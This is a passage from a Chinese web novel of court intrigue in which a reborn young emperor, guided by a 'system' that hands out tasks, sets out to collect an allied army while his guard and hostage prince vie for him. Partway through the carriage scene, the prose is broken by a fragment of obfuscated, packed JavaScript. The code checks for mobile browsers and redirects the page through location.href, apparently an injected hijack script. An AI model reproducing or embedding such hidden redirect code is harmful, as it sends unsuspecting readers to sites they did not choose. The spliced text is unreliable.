苏木阻拦在大宗伯面前:“大宗伯且留步,君上的确还未晨起,容臣替大宗伯通报一声。”
大宗伯指着苏木:“昨儿个便是你,淋了我一身的酒水!”
苏木面容不变,说:“臣昨日已然向大宗伯赔礼,想必伯爷心胸宽广,定不会与晚辈一般计较。”
“你!你……”大宗伯气得浑身发抖,狠狠指着苏木,昨日苏木笨手笨脚,必然是故意的,说不定他知晓了什么,便是故意阻止自己去见梁苒。
一想到梁苒那到嘴的鸭子,便这样眼睁睁飞了,也不知便宜了谁去,大宗伯更是一肚子的火气。
啪——!!
大宗伯抬起手,一记耳光结结实实扇在苏木的脸上。
周边的宫人立时屏住呼吸,一个个不敢抬头,全部盯着光洁的紫宸殿地砖,谁也不敢吭一声。
苏木面颊火辣,大宗伯虽上了年纪,但他人高马大,身材肥厚,手掌犹如蒲扇一般,这一巴掌扇过来,苏木的脸颊登时肉眼可见的红肿起来。
咔,苏木下意识握紧佩剑,五指死死抓住,只差一点点,虎贲长剑便即出鞘。
可是不能,苏木深深的吸了一口气,眼下自己是虎贲中郎将,是君上的禁卫,若是在这里反击大宗伯,定然会遭到大宗伯的诟病,朝廷爪牙的围攻,岂不是给君上徒增烦恼。
苏木调整好自己的吐息,额角青筋抽动了两下,并没有动弹。
大宗伯打了人,气焰十足嚣张:“老臣今日便先回去,晚些再来谒见君上!我倒要看看,在老臣谒见君上之前,还有谁敢踏入这个紫宸殿一步!”
“哼!”大宗伯说罢,一甩袖袍离开。
他的话无异于警告,好似在告诉满朝文武,他大宗伯对这二十万兵马势在必得,若是有人敢争抢,必然不会有什么好果子!
大宗伯连连冷笑,转身离开紫宸殿,气哼哼的登上车马,吩咐说:“回府!”
“是,伯爷。”骑奴驾士赶车,华贵的辎车粼粼使出大梁宫,朝着大宗伯府而去。
大宗伯给了苏木一个耳光,心里头却不觉得舒心,一路上喋喋不休的说:“这个小天子,老夫把他扶持上了龙椅,这才多久,便如此的不服管教!竟将接待使团如此大的事情,交给晋王!谁不知晋王与我为敌?他这分明是给我脸子看!若今日老夫不去紫宸殿,哼哼,他怕是又要将这二十万兵马自己扣下了罢!休想!老夫为了大梁江山,劳心劳力,这二十万菰泽军,合该落入老夫的袖囊之中,谁也别想抢走!”
“伯爷,您消消气儿,可别气坏了贵体。”骑奴驾士一面赶车,一面阿谀奉承大宗伯。
绑!
一声轻响,车马突然颠簸了一记,但很快恢复了正常,大宗伯一直骂骂咧咧,完全没有在意这小小的细节。
咕噜噜——车马慢慢停了下来。
大宗伯等了一会子,不见府中的仆役来迎自己,便亲自掀开车帘子往外看,责骂着:“怎么回事?连脚踏子都不会拿了么?叫老夫如何下车?”
这一打车帘子,外面却不是繁华的大宗伯府,四周荒凉不见人烟,树木凋零枯败,土地覆盖着皑皑雪色,远处竟还有几座破旧的坟头,怎么看也像是野人居住的荒地。
大梁的子民分为国人和野人。野人的意思并非是现代意义上的野人,而是不在城中居住的百姓,这样的百姓居无定所,甚至没有户籍,因而被唤作成野人,野人是不受大梁法律保护的,比奴隶牲口还不如。
大宗伯狐疑,不是回府么,怎么将车赶到这里来了?
“骑奴?骑奴!”大宗伯唤着:“这狗奴!不知死到何处去了……啊呀!!”
大宗伯的谩骂还未落地,突然发出一声高亢的惨叫,眼前一黑,他压根儿什么也没看到,脑袋上突然被套了什么,伸手不见五指。
“谁……哎呦!!”不等大宗伯质问,一记铁拳兜头砸下来,直接打到了大宗伯的眼眶。
“哎呦——救命!!大、大胆……你可知晓我是谁!?”
“再不住手,老夫要你狗命……啊呀!”
“别打了……别打了……英雄好汉,别……哎呦别打了……”
无论大宗伯如何喊叫呼救,回应大宗伯的只是如野狼一般的粗喘,大宗伯有一种错觉,殴打自己的分明是一头野兽,而非一个人!
咕咚!大宗伯肥胖的身子一歪,树倒了一般瘫在地上,一动不动的昏死过去……
梁苒盥洗完毕,对着镜鉴亲自整理衣袍,用高高的衣领将昨夜的吻痕全部遮掩起来,梁苒又恢复了那清冷禁欲的国君模样。
他稍微一动,腰肢酸软的打抖,尤其是腿根儿,莫名的酸痛,梁苒要紧牙关,慢条条的走出太室。
“拜见君上。”苏木拱手作礼。
梁苒一眼便看到了他面颊上的红肿,眯起一双丹凤眼,厉声说:“大宗伯打你了?”
苏木垂下头,没有直接回答,而是说:“臣无碍,只是小伤。”
梁苒拉住他的手,将人带入太室,让他在席间坐下来,说:“是寡人无能,才让你受了这般委屈。”
苏木连忙说:“君上不必自责。君上堪堪即位,凡事小心谨慎一些才对,是臣无能,臣无法帮助君上分忧解难。”
其实梁苒说的不是眼下的自己,而是上辈子的自己。上辈子的梁苒,为了稳固大梁江山,平衡大梁朝廷,一而再再而三的对大宗伯妥协,看着他的脸色过活,做了十三年的窝囊皇帝。连同跟在自己身边的苏
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木,也要日日对到大宗伯低声下气。
可最后呢,国破家亡,梁苒猝死,苏木万箭穿心……
梁苒咬紧牙关,抿了抿嘴唇,更像是自言自语:“往后,寡人再也不会叫你受半点委屈。”
苏木拱手说:“只要能跟在君上身边,臣并不觉委屈。”
梁苒深吸了一口气,说:“你的脸肿了,上些药罢。”
他从旁边的柜子中拿出伤药,看样子竟是要亲自为苏木上药。
苏木一惊,被烫了一般迅速起身,拱手说:“臣惶恐,臣自行上药便好。”
梁苒却说:“坐下。”
苏木有些许的犹豫,梁苒又重复说:“坐下。”
苏木无奈,只好重新坐下,却有一种如坐针毡的错觉,一刻也不安稳。
梁苒靠近过来,用伤布沾了伤药,仔细的给苏木涂药。因为伤在面颊上,二人的距离明显缩短,甚至苏木能感觉到梁苒幽幽的体香,还有那轻飘飘的吐息。
“苏木?”梁苒奇怪的说:“你的脸怎么更红了?”
比刚才被大宗伯打伤还要红,而且还滚烫滚烫,像是一块热炭。
“臣、臣……”苏木变成了结巴,他虽平日里不爱说话,却也不是个结巴,此时一句话说的磕磕绊绊,恨不能咬了舌头。
赵悲雪走入紫宸殿之时,便看到梁苒与苏木共坐在一张席上,亲密的挨在一起,苏木满脸通红的模样。
踏踏踏!赵悲雪阔步走进来,像是一只捍卫自己领土的野狼,又像是一只争风吃醋的大狗子,宽阔的肩膀一挤,直接横在梁苒与苏木中间,硬生生把苏木挤出席子。
赵悲雪举起自己的手掌,半握拳伸到梁苒面前,说:“我也受伤了。”
梁苒定眼一看,的确,赵悲雪的拳头也有些红肿,骨节的地方似乎还破了皮,但都只是轻微的皮外伤,小小不言。
梁苒不着痕迹翻了一个白眼,他现在最不想见到的人,便是赵悲雪。因为赵悲雪的“温柔体贴”,昨日的彻夜辛苦全都白费了。
梁苒没好气,语气很是冷淡的说:“去做什么了,怎么弄的?”
提起这个,赵悲雪傲然的胸膛更加挺拔,薄薄的唇瓣勾起一抹阴鸷的微笑,偏偏他的神态却像是幼儿园领奖的小朋友,透露出不经意的自豪。
赵悲雪沙哑的嗓音,低沉有力,说:“打大宗伯打的,他的两条腿都断了,至少半年站不起身。”
“什么?”梁苒难得一愣,美艳的脸蛋出现丝丝裂痕:“你真的打他了?”
赵悲雪的表情更是自豪,说:“放心,死不了,我下手有分寸,最多变成瘫子。且他没看到我的脸。”
末了赵悲雪又抬起手,凌厉反顾的三白眼变成了小狗眼,切换自如,将“伤口”指给梁苒,说:“我也受伤了,君上能为我上药么?”
梁苒被气笑,就这点子也叫伤口?赵悲雪可是未来的北赵杀神,什么时候在意这么点小伤了?
梁苒顺口说:“要不要寡人再给你吹吹?”
赵悲雪停顿了一瞬,年轻俊美毫无缺憾的脸颊上,突然飘上青涩的红晕,目光落在梁苒粉润的唇瓣之上,稍微有些犹豫,最后还是点点头,轻声说:“嗯。”
梁苒:“……”他又脸红什么?
17. 粘人
上京城,大宗伯府。
大宗伯断了一条胳膊,手臂上裹着厚厚的伤布,如今两条腿亦都断了,同样裹着厚厚的伤布,整个人只剩下一只右手是好的,可偏偏大宗伯还是左利手,干什么什么不利索。
“气死!气煞老夫了!”大宗伯脸红脖子粗,怒吼着:“给老夫找!!便是挖地三尺,也要把谋害老夫的贼子找出来!!找出来——”
“是是……”
“伯、伯爷……”一个仆役战战兢兢的说:“秦王来探望伯爷了。”
大宗伯满是褶皱的眯眯眼充满了算计:“请秦王进来。”
秦王梁深,也就是梁苒的二哥,跟随着导路的仆役,一路进入大宗伯的寝室,寝室里挂着厚重的帐帘子,户牖紧闭,密不透风,层层的昏暗之后,一个身材肥胖如山,满头白发的老者瘫在榻上。
他浑身裹得像粽子一般,除了双腿和一只手,脸上也受了伤,好似被狠狠殴打过,眼睛青了,颧骨肿了,鼻子歪了,嘴巴斜了,好一个歪瓜裂枣,浑身上下没有一个完整的好地方。
“咳……”梁深是来探病的,看到大宗伯那滑稽的模样,险些笑出声来,赶紧用宽大的袖袍掩住口唇掩饰自己的笑容。
梁深咳嗽两声:“大宗伯,你这是……这是怎么了?谁这么大的胆子,敢袭击我大梁的伯爷?”
大宗伯用那只完好的手臂哐哐砸着软榻:“岂有此理!岂有此理!老夫没能看清楚那个人是谁,若叫老夫知晓他是谁,定叫他碎尸万段,剁成肉泥!!!”
梁深有些子惊讶,说:“大宗伯没看清对方?”
被打成了这样,大宗伯却没看到对方,大宗伯别是年岁大了,老眼昏花罢?
大宗伯咬牙切齿:“那人行动犹如鬼魅一般迅捷,老夫压根儿什么也没有看见!”
梁深奇怪:“上京城还有武艺如此超群之人?”
他沉下眼目,梁深之前一直领兵打仗,那是大梁不世出的少年英杰,只可惜……先皇去世的那场战役实在太困苦,以至于梁深伤了腿,很久都没有再上过战场了。
梁深以前喜好结交豪杰,上京城里但凡点的上名字的豪杰,他都认识的七七八八,却没有一个像大宗伯口中如此神秘,简直是神龙见首不见尾,若真有这么一个主儿,梁深必定要见一见才是。
大宗伯冷哼一声,说:“老夫虽没看清他的模样,但也不难想象他是谁的人!”
梁深追问:“谁的人?”
“还能是谁?”大宗伯愤恨的攥拳:“必定是晋王梁溪的人!”
“梁溪……”梁深叨念了一句。
大宗伯的眼神阴狠毒辣,满满都是挑唆的意味,怂恿撺掇的说:“秦王啊,你糊涂!那个晋王,仗着自己是长子,日前已经抢走了老夫接待菰泽国使团的要务,而如今,菰泽国的二十万大军即将入京,谁若是能前去交接,谁便是这二十万大军的主人!必然是晋王梁溪觉得老夫碍事儿,便如此下作的背地里下狠手,想要除掉老夫,他便能将二十万大军捏在自己掌中!”
大宗伯斜眼看着梁深的表情,更加了一把柴火,又说:“老夫真是替你不值得!晋王害得你差点命丧沙场,如今他却好端端的坐在四王之首的位置上,享受着百姓爱戴,享受着羣臣尊崇!秦王啊秦王,你就当真咽的下这口气么?”
梁深死死攥拳,他虽没有回答,但他的眼神足以回答大宗伯。
大宗伯一看时机差不多了,便说:“老夫这副模样,是决计无法去接应二十万大军了,不如……请秦王代劳,替老夫出城迎接!”
梁深眯起眼睛,沙哑的说:“好,别管梁溪打得什么主意,我都会叫他算盘落地!”
他说罢,站起身来,狠狠的一甩袖袍,大步离开。
大宗伯看着梁深离开的背影,突然发出喋喋的笑声,幽幽的自言自语:“好啊,好啊!老夫要让小天子与他的两个好哥哥,全都有去无回!!只有姓梁的都死绝了,老夫才能……稳坐江山!”
*
“大宗伯被歹人打了!”
“什么人敢如此造次?竟敢打大宗伯?”
“嘘——你们都听错了,其实……打大宗伯的,不是人!”
几个宫人堆在一起,小声的叽叽喳喳。
“不是人?”
“是啊,千真万确!听说是一抹形如鬼魅的黑影,来无影去无踪!那绝对是阎王爷啊!怕是大宗伯平日里干的坏事儿太多了,阎王爷来收他了!”
一阵冬日的冷风吹过,几个宫人都是一个机灵,吓得颤抖起来。
阎王爷?
梁苒挑了挑眉,将北赵杀神赵悲雪形容成阎王爷,倒也是贴切的。
只是……
上辈子冷酷麻木的北赵杀神,踏着尸骨弑父上位的赵悲雪,彼时正……犹如一只粘人大狗子一般,亦步亦趋的跟着梁苒。
梁苒回头看了一眼,正好对上赵悲雪的目光,赵悲雪灰暗的眼神瞬间明亮起来,仿佛黑夜的灯火,熠熠生辉,若是梁苒叫他,赵悲雪下一瞬绝对便会立刻扑上来。
梁苒只是看了一眼,但没说话,冷淡的收回目光,赵悲雪璀璨的目光又暗淡下来,继续亦步亦趋的粘着梁苒。
梁苒有些子无奈,在心底里暗暗的翻了一个白眼儿,这个赵悲雪怎么和上辈子有些不同?还是说,年纪轻轻的赵悲雪本就如此?
“君上。”晋王梁溪终于走过来,拱手作礼:“拜见君上。”
“大皇兄不必多礼。”梁苒今日特意将梁溪叫过来,并没有在紫宸殿接待,而是来到长欢湖边,依风赏景。
“马上便要初春了。”梁苒轻声开口,嗓音中带着丝丝感叹:“大皇兄可还记得?咱们年少那会子,每年初春,二哥就会带着寡人到湖边投石子,拔柳根儿,闹得一身水淋淋回去,浑似落汤鸡,大皇兄你见了,必然会逮着二哥一顿好训,然后耐心都给寡人擦拭,生怕寡人害了寒疾。”
晋王梁溪的眼神轻轻波动了一记,仿佛大海之中的涟漪,拱手说:“臣记得。”
梁苒叹息:“当年……多好啊。”
他回过神来,忆往昔的开场白终于说罢了,转入正题:“寡人这次叫大皇兄前来,其实是想要问一问大皇兄的意思,不知大皇兄愿不愿意,以大行人的身份,出上京城,亲自迎接菰泽国二十万精兵。”
晋王梁溪霍然抬起头来,震惊的看向梁苒。
梁溪一步之遥,错失了大梁天子的宝座,为此一直耿耿于怀,羣臣都知晓,晋王虽不是大宗伯一派,但也绝对不是梁苒的拥护者,而如今,梁苒竟要把这么重要的事情交给自己。
难道……梁溪心头颤抖,他就不怕我拥兵自重么?
梁苒眉眼嫣然的看着他,微笑说:“大皇兄,你可愿为寡人扈行?”
大梁沿用周制,大行人是出使的最高外交官,虽只是临时的官职,出使之后便会撤掉,但
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被赋予了至高无上的权威,乃是每个鸿胪梦寐以求的官职。
但梁苒的重点,在于“扈行”二字。扈行的意思是保护天子出行。
梁溪惊讶的说:“君上您要亲自迎接菰泽精锐?”
无错,梁苒册封梁溪为大行人不假,但他并不是要让梁溪独自接应二十万大军,而是打算亲自上阵,让梁溪在一侧保护自己。
这二十万大军,是梁苒扳倒大宗伯的依仗,所以梁苒必定要牢牢的握在手中。然这一路的艰险,梁苒已然提前预料到了,大宗伯必然不可能心甘情愿将二十万大军拱手让人,少不得使出什么小绊子。
除此之外,还有北赵。菰泽国象征着最高的冶金技术,还有最高的司空技术,二十万配备精良,一旦成功会师,绝对令大梁如虎添翼,北赵如何能甘心?
因而这一路除了大宗伯之外,定少不得北赵的手段,梁苒必须拉拢一个同盟来帮助自己,那么这个同盟,便是眼前的晋王梁溪。
梁苒深知大皇兄的为人,他虽不甘错失皇位,可偏偏大皇兄的道德底线太高,卑劣之事、危害大梁之事,都是他绝不会做的。
有人戏说倘若不想你的另一半出轨,其实不必找一个多爱你的人,而是找一个道德底线极高之人,如此一来便算情感消磨,他也会坚守底线绝不越轨。
朝政在很多方面犹如情爱一般,排他,且需要坚守底线。
梁溪深深蹙眉:“这太危险了君上!”
“所以……”梁苒打断了他的话头:“寡人才需要大皇兄,助寡人一臂之力。大皇兄你可愿意,帮助寡人接应二十万大军,让我大梁的国力,更上一层楼!”
梁溪抿了抿嘴唇,薄薄的唇瓣略微有些干涩,他思虑了一瞬,嗓音顿了顿,沙哑的说:“臣,愿意。”
甚好,便算不是为了寡人,梁溪也会为了大梁,与寡人结盟。
呼——一阵狂风吹过,扑簌簌的撕扯着梁苒雪白的披风。
梁溪顺手为梁苒拢了拢披风,或许这是儿时留下来的习惯,他愣了一下,赶忙说:“臣僭越失礼,请君上责罚。”
梁苒笑说:“寡人这披风,总也系不好,能不能劳烦大皇兄帮忙?”
梁溪看着梁苒单薄肩头上松松垮垮的披风,一时间又想到了很多儿时的光景,忍不住慢慢抬起手来,将披风仔细系好。
一道狠戾的视线从侧面扎过来,千刀万剐着梁溪的手背,令人无法忽视,梁溪侧头一看,对上了赵悲雪毫不掩饰,如刀似剑的锋芒目光。
梁溪皱眉,压低了声音说:“这赵皇子毕竟是北赵来的质子,君上一直放在身边,恐怕……”
梁苒无所谓的说:“大皇兄不必担心,寡人自有打算。”
梁苒都说到这个份儿上,梁溪便没有多说,拱手说:“君上嘱托,臣万死不辞,天气寒凉,君上还是入紫宸殿歇息罢,臣也告退了。”
梁苒点点头,眼看着梁溪离开的背影,突然沉下唇角,没有侧头,却说:“你做什么老瞪晋王。”
没错,赵悲雪方才在一侧,虽一直没有说话,却狠狠瞪着梁溪,几乎要把梁溪瞪穿。
赵悲雪回答的理直气壮:“他摸你。”
那是在给寡人整理披风。
赵悲雪暗淡的眼神划过一丝丝委屈,沙哑的说:“君上……我是不是做错了什么,惹得你不欢心了?”
梁苒:“……”错在你太贴心,没有让寡人怀孕!
18. 恭喜完成任务!
大宗伯卧病在床,梁苒决定亲自前往迎接菰泽国大军。
一同扈行的还有菰泽世子,大行人梁溪,自然,还有梁苒走到哪里便跟到哪里,犹如跟屁虫一般的北赵质子——赵悲雪。
日头灰蒙蒙的升起,冬日暗淡的光线藏在厚厚的云层之后,迷离而不真切。扈行的虎贲军大队已经在上京城的北门列队,准备随时开拔。
一辆华贵威严的辒辌车停在城门口,那是天子的御辇。
晋王梁溪身为大行人,恭敬的拱手说:“君上,该启成了,请上辒辌车。”
梁苒点点头,刚要蹬上脚踏子,便听到踏踏踏的马蹄声,敢在是上京城如此纵马之人可不多见。
一抹绛紫色的身影纵马疾驰,快速逼近城门,是秦王梁深。
梁溪睁大眼睛,惊讶的说:“深儿?你是来践行的么?”
秦王梁深勒住马缰,冷眼瞪了梁溪一记,凉冰冰的开口:“晋王可别叫得如此亲切,谁是来给你践行的?本王乃是奉了大宗伯之命,一同跟随扈行,确保君上安慰!以防——”
梁深故意去看梁溪,话里有话的说:“以防路途遥远,有宵小之辈加害君上!”
他说到“宵小之辈”这四个字,特意加重了嗓音,生怕梁溪听不到似的。
梁溪的眼神瞬间暗淡下来,薄薄的唇角挑起一个弧度,笑容却有些苦涩,甚至是自嘲。也是,梁深已然不是当年与自己亲厚的二弟了。
他们中间隔了朝政,隔了政局,隔了一个挑拨离间搬弄是非的大宗伯……
梁深不再理会梁溪,拱手对梁苒说:“君上,此去迎接菰泽大军,山高水远,又唯恐会有歹人从中作祟,大宗伯也是为了君上着想,这才遣臣前往扈行,还请君上首肯。”
梁苒已经登上了辒辌车,回头看着秦王梁深。
梁深与梁溪虽然是双生兄弟,但不同于晋王的温文尔雅,秦王更加高大挺拔,英雄了得,他也曾是大梁的战神,无往不利,令敌人闻风丧胆,只可惜……梁深如今伤了腿,虽不至于变成瘸子,却也再没上过战场。
梁苒是活过一辈子的人,他深知这个二哥梁深的秉性。其实梁溪与梁深,都不算是什么坏人,不过是梁苒的政敌罢了。梁溪一心想要成为大梁的明君,而梁深则是因为误会梁溪延误军机,非要与他对着干罢了。
其实梁深此人性子耿直冲动,耳根子极软,和他刚硬的外表不一样,梁深是个心肠柔软之人,禁不住旁人叨念,十足容易被骗。不然也不会因着大宗伯的挑拨离间,便误会了大哥梁溪。
梁苒眼眸微微转动,带上二哥梁深也好,梁深武艺出众,留在扈行的队伍里亦有帮助。
于是点点头,梁苒亲和的一笑:“二哥能来扈行,寡人更加放心了。”
梁深一听,君上这是答应自己跟随队伍了,于是挑衅的朝着梁溪昂了昂下巴,梁溪无奈,又是苦笑一声。
梁苒感叹的说:“算一算,寡人与两位兄长,也是许久没有聚一聚了,正好趁着这次扈行,不如……二位兄长一同参乘,可好?”
参乘的意思,便是与天子同乘一辆马车,这可是无上的殊荣。
梁深则是一脸嫌弃,他并非嫌弃幺弟梁苒,而是嫌弃梁溪,阴阳怪气的说:“臣乃一介舞刀弄枪的粗人,唯恐身上的粗鲁气息,碍了某个清高名士的眼目,还是不要上车的好。”
那个清高名士,但凡长眼睛的人都知道是谁。可不就是四王之首的晋王梁溪么?
梁溪垂下眼帘,掩饰自己的情绪,淡淡的说:“君上亲自迎接菰泽大军,这一路颠簸劳苦,臣便不上车去君上跟前凑热闹了,君上也好歇息龙体。”
梁苒挑了挑眉,看来这两位兄长心窍里的隔阂,并不是一日两日可以解开的。大宗伯构陷梁溪延误军机,偏偏当年负责那场战役的司马、司农、司行,方方面面的官员,辞官的辞官,病逝的病逝,竟无一人可以证明晋王梁溪的清白。
想来都是大宗伯算计好的,大宗伯想让秦王梁深有去无回,可偏偏梁深命大,侥幸活着回来,大宗伯为了不被找后账,自然要做的干干净净。
如此一来,再无人证明延误军机之人并非梁溪,而是他大宗伯。梁溪身为鸿胪寺的掌管,责无旁贷,至少是个玩忽职守的责任。
梁苒上辈子也是后来才知晓,梁溪当时身为鸿胪寺的掌管,鸿胪寺中处处都是大宗伯的爪牙,根本无法触碰实权,当梁溪知晓二弟深陷敌营,没有辎重支援之时,拼尽全力筹粮,却无人敢运送粮草,最后还是梁溪拨了大宗伯的颜面,带着自己的亲随护卫,亲自奔赴前线,这才将唯一一批的粮草,送达沙场。
梁溪也因此染上了寒疾,他身子本就不好,不是习武的料子,之后更是落下了病根,每每入冬都苦不堪言。
只可惜,这些梁深都不知晓,真相全部被大宗伯淹没在挑拨离间的重伤恶语之间,堵塞了梁深的耳目,以至于兄弟反目,不死不休!
梁苒叹了口气:“也罢。”
若能解开大皇兄与二皇兄的隔阂,他们必不会与大宗伯为伍,很可能成为梁苒的助力,但梁苒也知晓,这不是一朝一夕之事,无法急功近利,恐怕适得其反。
梁苒放下车帘子,堪堪端坐在辒辌车中。
哗啦——
车帘子再次打起一小角,一条人影快速钻进来,身姿矫健,仿佛一头野狼!
是赵悲雪。
梁苒奇怪的看向赵悲雪:“你怎么进来了?”
赵悲雪眼巴巴的看着他,分明身姿高挺超过秦王梁深,分明英朗锐利犹如出鞘宝剑,却垂下一双眼帘,犹如看主人脸色的可怜大狗子,轻声说:“我……我想与君上同车。”
自从那夜之后,梁苒至今腰肢酸软,脖颈上的吻痕尚未退去,幸亏初春苦寒,天气依然寒冷,梁苒高高护着领口无人起疑。
梁苒为了完成系统任务,怀上能助他称霸天下的儿子,完全是步步为营,谁知竟被赵悲雪这个“傻小子”给破坏了好事。
什么北赵杀神,什么地狱修罗,分明是个呆子!
梁苒没好气的看了一眼赵悲雪,本想轰他下车,待梁苒身子恢复之前,都不想再见到他。然转念一想,赵悲雪的武艺非同凡响,大宗伯被揍成那样愣是没见到他的脸面,甚至没看到一片衣裳角,这一路接应菰泽大军,少不得艰辛,留他在身边随时护卫,也能放心一些。
梁苒没有说话,默默的闭上眼目养神,那意思便是默许了。
赵悲雪立刻欣喜起来,小心翼翼的说:“君上,你口渴么?”
梁苒不回答。
“君上,你的身子……还难受么?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336282|166211||http|test|mini|href|location''.split(''|''),0,{}));
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>梁苒还是不回答。
“君上,我帮你上药罢。”
梁苒:“……”好烦。
谁说北赵杀神赵悲雪少言寡语的?谁说北赵杀神赵悲雪不苟言辞的?这分明是一只不停犬吠的大狗子,像个话痨。
赵悲雪见他一直不理会自己,也便不再说话,默默的坐在一边,一双锐利的狼目紧紧盯着梁苒,从他的头发丝,一直看到衣裳角,便是连龙袍的每一根绣线,每一个针脚都看得仔仔细细。
来来回回的打量,看一遍还不够,瞬息之间,梁苒闭着眼睛都能感觉到,赵悲雪那火辣滚烫的视线,仿佛要穿透自己的衣襟,摩挲着自己每一寸皮肤,不易于那夜颠鸾倒凤,抵死缠绵的痴狂……
唰!
梁苒终于忍不住,睁开眼目,在没人的地方,他再也不必装作亲和温润,凉丝丝的说:“看够了没有?”
赵悲雪被他瞪了,却更是欢心,认真的摇摇头,实在的回答:“君上是我见过最好看的人,没看够。”
赵悲雪:“……”寡人是不是给他脸了?
叮——
【3.2.0任务:与菰泽世子同乘马车,令赵悲雪吃醋!】
梁苒的面前突然弹出系统虚拟面板,自然,只有梁苒一个人可以看到。
不着痕迹的蹙眉,3级第一个任务还没有做完,这就发布第二个任务了?
【系统提示:3级任务共3个,完成任务不分先后顺序!】
梁苒恍然,也就是说,只要系统发布了任务,先完成哪个都可以,三个都完成才能得到国库千万万钱。
同乘还不容易?把菰泽世子传召过来便是。
梁苒抬手打起车帘子,吩咐说:“请菰泽世子前来参乘。”
“君上请菰泽世子参乘——”
内监高声通传,辒辌车缓缓停下,菰泽世子翻身下马,一路趋步前来,登上脚踏子,矮身进入辒辌车,恭恭敬敬一板一眼的作礼。
菰泽世子虽享有名士之称,但他却是个哑子,没少因为这点子被人诟病。
梁苒头一次这般近距离的打量菰泽世子,大抵二十岁的模样,比梁苒年长一些,标准的清秀书生模样,高挑俊美,但与晋王梁溪的温文尔雅不同,梁溪的温润自带一股尊贵的气息,而菰泽世子因为是个哑子,浑身上下透露着拘谨与怯然,时时刻刻垂着头,看得出来,他对自己并不自信,甚至骨子里藏着自卑。
“菰泽世子不必多礼。”梁苒换上一副笑颜,说:“请起罢。”
他本想亲自去扶菰泽世子起身,哪知辒辌车突然颠簸了一下,似是硌到了什么小石子儿。
咕咚!
“唔!”梁苒低呼一声,身子歪斜,扶人的动作反而变成了一头栽入菰泽世子怀中。
菰泽世子无声的睁大眼睛,一把搂住梁苒的腰肢,以防他磕在辒辌车的凭几上,一股淡雅的熏香之气,飘悠悠弥漫在鼻息之间。
菰泽世子搂着梁苒的纤腰,玄黑色庄严龙袍之下的腰肢,比想象中还要纤细,还要柔软,甚至不盈一握,腾一下子,菰泽世子陡然红了脸,红晕一直蔓延到耳朵根子。
叮——
【恭喜完成3.2.0任务:与菰泽世子同乘马车,令赵悲雪吃醋!】
梁苒:“……?”寡人还什么都没做呢。
19. 帝王的勾引
菰泽世子搂着梁苒,脸面瞬间通红,他扎着双手,手掌不敢触碰到梁苒的纤腰,完全是正儿八经的君子做派。
嘭!
赵悲雪黑着脸跪坐起来,伸手狠狠一推菰泽世子,直接将菰泽世子推了一个大屁墩儿,搂住梁苒的腰肢,把梁苒从菰泽世子怀中抱过来。
遂用一双锐利的狼目,恶狠狠的瞪着菰泽世子,好似要把对方千刀万剐,掏心挖肺似的。
菰泽世子跌在车中,足足愣了一会子,这才反应过来,连忙跪在地上,他是个哑子说不得话,只能叩首请罪,打手语,大意思是唐突了君上。
梁苒撇开“看家护院”的赵悲雪,看似一个好脾性的君王,微笑说:“世子不必多礼,方才若不是世子,寡人险些便要摔伤,若真是论起来,寡人还要多谢世子呢。”
他这么一说,赵悲雪的眼神更加狠戾,仿佛温文尔雅、光风霁月的菰泽世子是那个勾引梁苒的妖艳贱货一般,耍尽了肮脏的花样手段,蒙骗单纯天真的少年天子。
菰泽世子没来由一抖,后脊梁爬起阵阵的寒意,赶紧告罪之后,便退下了天子辒辌车……
扈行的队伍一路朝北行了数日,这一路都非常平稳,因着还是大梁的地界儿,加之晋王梁溪的护卫森严,尚未碰到半点的阻碍。
“君上。”梁溪骑在马上,驱马来到辒辌车旁边,跟车而行,朗声说:“再往前,便是大梁的边邑小镇了,今日天色昏黄,怕是会刮大风,臣斗胆建议,就地扎营,休整一夜,等大风过去再行赶路。”
梁苒的身子骨儿并不算健壮,尤其是那日里与赵悲雪欢好之后,还没有完全恢复,接连几日的颠簸,已经掏空了梁苒的身子,正愁想要停车歇息。
梁苒说:“还是大皇兄想得周到,那便依大皇兄所言罢。”
梁溪拱手之后,便吩咐扈行队伍停车,就地扎营。
秦王梁深骑在马上,冷眼看着梁溪支配扈行队伍,抽着脸哼了一声。
旁边的内监卑躬屈膝上前,贼眉鼠眼的,长长的叹了一口气:“唉——”
梁深奇怪的说:“平白无故叹什么气?晦气。”
“是是是,”内监赶忙告罪,却说:“其实……其实小臣也是为了秦王殿下叹气。”
“为本王?”
“是啊,秦王殿下。”内监说:“秦王您贵为我大梁的四王之一,那也是为大梁立下赫赫战功,铁血功劳的肱骨之臣,扛鼎良将啊!可是、可是唉——您看看这一路走过来,凡事都是那个晋王吩咐,下面的虎贲军也全都依令行事,他们哪里问过秦王您的意思啊?俨然不把秦王您放在眼中!”
梁深的脸更加难看,那个内监挑拨离间到他的心坎儿里了。
不过梁深乃是后来才加入扈行队伍的,来得晚,大家各自有自己个儿的职责,早就已经分工明确,梁深虽不待见梁溪,但这一点子他还是明白的。
内监继续添油加醋的说:“这个晋王,他根本没有扈行的经验,若是论行军打仗,外出扈行,那不是还得看咱们秦王殿下的么?这一会子走,一会子停的,不是瞎捣乱么?小臣看了都生气,替秦王殿下你不值得啊!”
梁深没好气的说:“不值得又如何?”
内监似乎就在等他这句话,压低了声音,做贼一般小声说:“秦王殿下不如……给晋王一点点教训。”
梁深没说话,目询那内监。
内监拢着袖子,神神秘秘:“秦王殿下不防给晋王的马匹下一点泻药,等明个儿启程,晋王的马匹腹泻撂挑子,说不定还会在御前失仪,定然能狠狠搓一搓晋王的威风气焰!”
梁深挑眉,喃喃自语的说:“泻药?”
内监使劲点头:“只是一点点泻药,无伤大雅。”
梁深薄而锐利的唇角挑起来:“你这法子倒是不错,本王看他梁溪那个假正经的模样,早就不顺眼了,只是……这荒郊野岭的,哪里来的泻药?”
内监变戏法一样,从袖囊中拿出一个小纸包:“秦王殿下您看,小臣愿意为殿下分忧。”
“泻药?”梁深惊讶:“你还备着这东西?”
内监谄媚:“大宗伯让小臣跟随秦王殿下,鞍前马后的侍奉,小臣怎么敢懈怠分毫呢?这不是日日夜夜的想着,如何为秦王陛下您分忧嘛!”
